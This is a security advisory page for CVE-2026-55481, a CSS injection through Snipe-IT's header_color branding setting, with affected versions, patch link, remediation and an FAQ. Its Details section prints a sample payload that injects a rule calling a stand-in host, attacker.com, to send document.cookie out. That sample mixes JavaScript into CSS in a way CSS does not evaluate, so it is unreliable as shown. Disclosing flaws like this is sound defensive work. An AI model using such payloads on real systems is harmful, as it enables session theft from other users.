CVE-2026-55481: Snipe-IT: CSS Injection via `header_color` Setting

Published Jul 10, 2026
·
Updated

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details The headercolor setting (and related color settings such as navcolor and linkcolor) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->headercolor ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the headercolor value to something like:

#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds Enable CSP in your .env file.

Other sources

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders headercolor and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.

MITRE

Affected Software

3 affected componentsFixes available
Snipe-IT Snipe-IT<8.6.2
Snipeitapp Snipe-it<8.6.2
composer/snipe/snipe-it<=8.6.1
8.6.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/snipe/snipe-it to a version that resolves this vulnerability.

    Fixed in 8.6.2
  2. Upgrade

    Upgrade Snipe-IT to a version that resolves this vulnerability.

    Fixed in 8.6.2Patch https://github.com/grokability/snipe-it/pull/19097
  3. Configuration

    Enable CSP in your Snipe-IT .env file, since CSP is disabled by default in Snipe-IT installations and is a primary browser-level mitigation for this CSS injection/exfiltration vector.

    Snipe-IT (Content Security Policy) Content Security Policy = enabled

Event History

Jul 10, 2026
CVE Published
via MITRE·07:45 PM
Data Sourced
via MITRE·07:45 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Aug 28, 2026
Advisory Published
via GitHub·06:04 PM
Data Sourced
via GitHub·06:04 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-55481?

CVE-2026-55481 has a medium severity rating of 6.2 according to the CVSS score.

2

How do I fix CVE-2026-55481?

To fix CVE-2026-55481, upgrade to Snipe-IT version 8.6.2 or later.

3

What exploitation can occur due to CVE-2026-55481?

CVE-2026-55481 allows an authenticated superadmin to inject arbitrary CSS that may affect other users.

4

Which software is affected by CVE-2026-55481?

CVE-2026-55481 affects versions of the Snipe-IT IT asset/license management system prior to 8.6.2.

5

Is CVE-2026-55481 related to XSS vulnerabilities?

Yes, CVE-2026-55481 is related to XSS as it involves CSS injection that can compromise the integrity of styles.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203